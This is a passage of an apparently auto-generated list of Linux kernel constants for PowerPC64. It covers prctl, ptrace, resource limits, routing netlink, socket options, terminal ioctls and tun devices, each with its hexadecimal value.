-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = -0x1
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETEVENTMSG = 0x4201
-- PTRACE_GETEVRREGS = 0x14
-- PTRACE_GETFPREGS = 0xe
-- PTRACE_GETREGS = 0xc
-- PTRACE_GETREGS64 = 0x16
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_GETVRREGS = 0x12
-- PTRACE_GETVSRREGS = 0x1b
-- PTRACE_GET_DEBUGREG = 0x19
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKEUSR = 0x6
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
-- PTRACE_SETEVRREGS = 0x15
-- PTRACE_SETFPREGS = 0xf
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
-- PTRACE_SETREGS64 = 0x17
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SETVRREGS = 0x13
-- PTRACE_SETVSRREGS = 0x1c
-- PTRACE_SET_DEBUGREG = 0x1a
-- PTRACE_SINGLEBLOCK = 0x100
-- PTRACE_SINGLESTEP = 0x9
-- PTRACE_SYSCALL = 0x18
-- PTRACE_TRACEME = 0x0
-- PT_CCR = 0x26
-- PT_CTR = 0x23
-- PT_DAR = 0x29
-- PT_DSCR = 0x2c
-- PT_DSISR = 0x2a
-- PT_FPR0 = 0x30
-- PT_FPSCR = 0x50
-- PT_LNK = 0x24
-- PT_MSR = 0x21
-- PT_NIP = 0x20
-- PT_ORIG_R3 = 0x22
-- PT_R0 = 0x0
-- PT_R1 = 0x1
-- PT_R10 = 0xa
-- PT_R11 = 0xb
-- PT_R12 = 0xc
-- PT_R13 = 0xd
-- PT_R14 = 0xe
-- PT_R15 = 0xf
-- PT_R16 = 0x10
-- PT_R17 = 0x11
-- PT_R18 = 0x12
-- PT_R19 = 0x13
-- PT_R2 = 0x2
-- PT_R20 = 0x14
-- PT_R21 = 0x15
-- PT_R22 = 0x16
-- PT_R23 = 0x17
-- PT_R24 = 0x18
-- PT_R25 = 0x19
-- PT_R26 = 0x1a
-- PT_R27 = 0x1b
-- PT_R28 = 0x1c
-- PT_R29 = 0x1d
-- PT_R3 = 0x3
-- PT_R30 = 0x1e
-- PT_R31 = 0x1f
-- PT_R4 = 0x4
-- PT_R5 = 0x5
-- PT_R6 = 0x6
-- PT_R7 = 0x7
-- PT_R8 = 0x8
-- PT_R9 = 0x9
-- PT_REGS_COUNT = 0x2c
-- PT_RESULT = 0x2b
-- PT_SOFTE = 0x27
-- PT_TRAP = 0x28
-- PT_VR0 = 0x52
-- PT_VRSAVE = 0x94
-- PT_VSCR = 0x93
-- PT_VSR0 = 0x96
-- PT_VSR31 = 0xd4
-- PT_XER = 0x25
-- RLIMIT_AS = 0x9
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-- RLIMIT_LOCKS = 0xa
-- RLIMIT_MEMLOCK = 0x8
-- RLIMIT_MSGQUEUE = 0xc
-- RLIMIT_NICE = 0xd
-- RLIMIT_NOFILE = 0x7
-- RLIMIT_NPROC = 0x6
-- RLIMIT_RSS = 0x5
-- RLIMIT_RTPRIO = 0xe
-- RLIMIT_RTTIME = 0xf
-- RLIMIT_SIGPENDING = 0xb
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x19
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x19
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-- SCM_TIMESTAMPING = 0x25
-- SCM_TIMESTAMPING_OPT_STATS = 0x36
-- SCM_TIMESTAMPNS = 0x23
-- SCM_WIFI_STATUS = 0x29
-- SECCOMP_MODE_DISABLED = 0x0
-- SECCOMP_MODE_FILTER = 0x2
-- SECCOMP_MODE_STRICT = 0x1
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-- SIOCATMARK = 0x8905
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
-- SIOCGPGRP = 0x8904
-- SIOCGRARP = 0x8961
-- SIOCGSKNS = 0x894c
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-- SIOCINQ = 0x4004667f
-- SIOCOUTQ = 0x40047473
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
-- SIOCSPGRP = 0x8902
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
-- SOCK_CLOEXEC = 0x80000
-- SOCK_DCCP = 0x6
-- SOCK_DGRAM = 0x2
-- SOCK_IOC_TYPE = 0x89
-- SOCK_NONBLOCK = 0x800
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
-- SOCK_STREAM = 0x1
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_CAN_BASE = 0x64
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
-- SOL_SOCKET = 0x1
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
-- SO_ACCEPTCONN = 0x1e
-- SO_ATTACH_BPF = 0x32
-- SO_ATTACH_FILTER = 0x1a
-- SO_ATTACH_REUSEPORT_CBPF = 0x33
-- SO_ATTACH_REUSEPORT_EBPF = 0x34
-- SO_BINDTODEVICE = 0x19
-- SO_BPF_EXTENSIONS = 0x30
-- SO_BROADCAST = 0x6
-- SO_BSDCOMPAT = 0xe
-- SO_BUSY_POLL = 0x2e
-- SO_CNX_ADVICE = 0x35
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-- SO_DOMAIN = 0x27
-- SO_DONTROUTE = 0x5
-- SO_ERROR = 0x4
-- SO_GET_FILTER = 0x1a
-- SO_INCOMING_CPU = 0x31
-- SO_KEEPALIVE = 0x9
-- SO_LINGER = 0xd
-- SO_LOCK_FILTER = 0x2c
-- SO_MARK = 0x24
-- SO_MAX_PACING_RATE = 0x2f
-- SO_NOFCS = 0x2b
-- SO_NO_CHECK = 0xb
-- SO_OOBINLINE = 0xa
-- SO_PASSCRED = 0x14
-- SO_PASSSEC = 0x22
-- SO_PEEK_OFF = 0x2a
-- SO_PEERCRED = 0x15
-- SO_PEERNAME = 0x1c
-- SO_PEERSEC = 0x1f
-- SO_PRIORITY = 0xc
-- SO_PROTOCOL = 0x26
-- SO_RCVBUF = 0x8
-- SO_RCVBUFFORCE = 0x21
-- SO_RCVLOWAT = 0x10
-- SO_RCVTIMEO = 0x12
-- SO_REUSEADDR = 0x2
-- SO_REUSEPORT = 0xf
-- SO_RXQ_OVFL = 0x28
-- SO_SECURITY_AUTHENTICATION = 0x16
-- SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-- SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-- SO_SELECT_ERR_QUEUE = 0x2d
-- SO_SNDBUF = 0x7
-- SO_SNDBUFFORCE = 0x20
-- SO_SNDLOWAT = 0x11
-- SO_SNDTIMEO = 0x13
-- SO_TIMESTAMP = 0x1d
-- SO_TIMESTAMPING = 0x25
-- SO_TIMESTAMPNS = 0x23
-- SO_TYPE = 0x3
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
-- SO_WIFI_STATUS = 0x29
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-- TAB1 = 0x400
-- TAB2 = 0x800
-- TAB3 = 0xc00
-- TABDLY = 0xc00
-- TASKSTATS_CMD_ATTR_MAX = 0x4
-- TASKSTATS_CMD_MAX = 0x2
-- TASKSTATS_GENL_NAME = "TASKSTATS"
-- TASKSTATS_GENL_VERSION = 0x1
-- TASKSTATS_TYPE_MAX = 0x6
-- TASKSTATS_VERSION = 0x8
-- TCFLSH = 0x2000741f
-- TCGETA = 0x40147417
-- TCGETS = 0x402c7413
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_REPAIR_WINDOW = 0x1d
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
-- TCSAFLUSH = 0x2
-- TCSBRK = 0x2000741d
-- TCSBRKP = 0x5425
-- TCSETA = 0x80147418
-- TCSETAF = 0x8014741c
-- TCSETAW = 0x80147419
-- TCSETS = 0x802c7414
-- TCSETSF = 0x802c7416
-- TCSETSW = 0x802c7415
-- TCXONC = 0x2000741e
-- TIOCCBRK = 0x5428
-- TIOCCONS = 0x541d
-- TIOCEXCL = 0x540c
-- TIOCGDEV = 0x40045432
-- TIOCGETC = 0x40067412
-- TIOCGETD = 0x5424
-- TIOCGETP = 0x40067408
-- TIOCGEXCL = 0x40045440
-- TIOCGICOUNT = 0x545d
-- TIOCGLCKTRMIOS = 0x5456
-- TIOCGLTC = 0x40067474
-- TIOCGPGRP = 0x40047477
-- TIOCGPKT = 0x40045438
-- TIOCGPTLCK = 0x40045439
-- TIOCGPTN = 0x40045430
-- TIOCGRS485 = 0x542e
-- TIOCGSERIAL = 0x541e
-- TIOCGSID = 0x5429
-- TIOCGSOFTCAR = 0x5419
-- TIOCGWINSZ = 0x40087468
-- TIOCINQ = 0x4004667f
-- TIOCLINUX = 0x541c
-- TIOCMBIC = 0x5417
-- TIOCMBIS = 0x5416
-- TIOCMGET = 0x5415
-- TIOCMIWAIT = 0x545c
-- TIOCMSET = 0x5418
-- TIOCM_CAR = 0x40
-- TIOCM_CD = 0x40
-- TIOCM_CTS = 0x20
-- TIOCM_DSR = 0x100
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_LOOP = 0x8000
-- TIOCM_OUT1 = 0x2000
-- TIOCM_OUT2 = 0x4000
-- TIOCM_RI = 0x80
-- TIOCM_RNG = 0x80
-- TIOCM_RTS = 0x4
-- TIOCM_SR = 0x10
-- TIOCM_ST = 0x8
-- TIOCNOTTY = 0x5422
-- TIOCNXCL = 0x540d
-- TIOCOUTQ = 0x40047473
-- TIOCPKT = 0x5420
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
-- TIOCSBRK = 0x5427
-- TIOCSCTTY = 0x540e
-- TIOCSERCONFIG = 0x5453
-- TIOCSERGETLSR = 0x5459
-- TIOCSERGETMULTI = 0x545a
-- TIOCSERGSTRUCT = 0x5458
-- TIOCSERGWILD = 0x5454
-- TIOCSERSETMULTI = 0x545b
-- TIOCSERSWILD = 0x5455
-- TIOCSER_TEMT = 0x1
-- TIOCSETC = 0x80067411
-- TIOCSETD = 0x5423
-- TIOCSETN = 0x8006740a
-- TIOCSETP = 0x80067409
-- TIOCSIG = 0x80045436
-- TIOCSLCKTRMIOS = 0x5457
-- TIOCSLTC = 0x80067475
-- TIOCSPGRP = 0x80047476
-- TIOCSPTLCK = 0x80045431
-- TIOCSRS485 = 0x542f
-- TIOCSSERIAL = 0x541f
-- TIOCSSOFTCAR = 0x541a
-- TIOCSTART = 0x2000746e
-- TIOCSTI = 0x5412
-- TIOCSTOP = 0x2000746f
-- TIOCSWINSZ = 0x80087467
-- TIOCVHANGUP = 0x5437
-- TOSTOP = 0x400000
-- TS_COMM_LEN = 0x20
-- TUNATTACHFILTER = 0x801054d5
-- TUNDETACHFILTER = 0x801054d6
-- TUNGETFEATURES = 0x400454cf
-- TUNGETFILTER = 0x401054db
-- TUNGETIFF = 0x400454d2
-- TUNGETSNDBUF = 0x400454d3
-- TUNGETVNETBE = 0x400454df
-- TUNGETVNETHDRSZ = 0x400454d7
-- TUNGETVNETLE = 0x400454dd
-- TUNSETDEBUG = 0x800454c9
-- TUNSETGROUP = 0x800454ce
-- TUNSETIFF = 0x800454ca
-- TUNSETIFINDEX = 0x800454da
-- TUNSETLINK = 0x800454cd
-- TUNSETNOCSUM = 0x800454c8
-- TUNSETOFFLOAD = 0x800454d0
-- TUNSETOWNER = 0x800454cc
-- TUNSETPERSIST = 0x800454cb
-- TUNSETQUEUE = 0x800454d9
-- TUNSETSNDBUF = 0x800454d4
-- TUNSETTXFILTER = 0x800454d1
-- TUNSETVNETBE = 0x800454de
-- TUNSETVNETHDRSZ = 0x800454d8
-- TUNSETVNETLE = 0x800454dc
-- UMOUNT_NOFOLLOW = 0x8
-- VDISCARD = 0x10
-- VEOF = 0x4
-- VEOL = 0x6
-- VEOL2 = 0x8
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
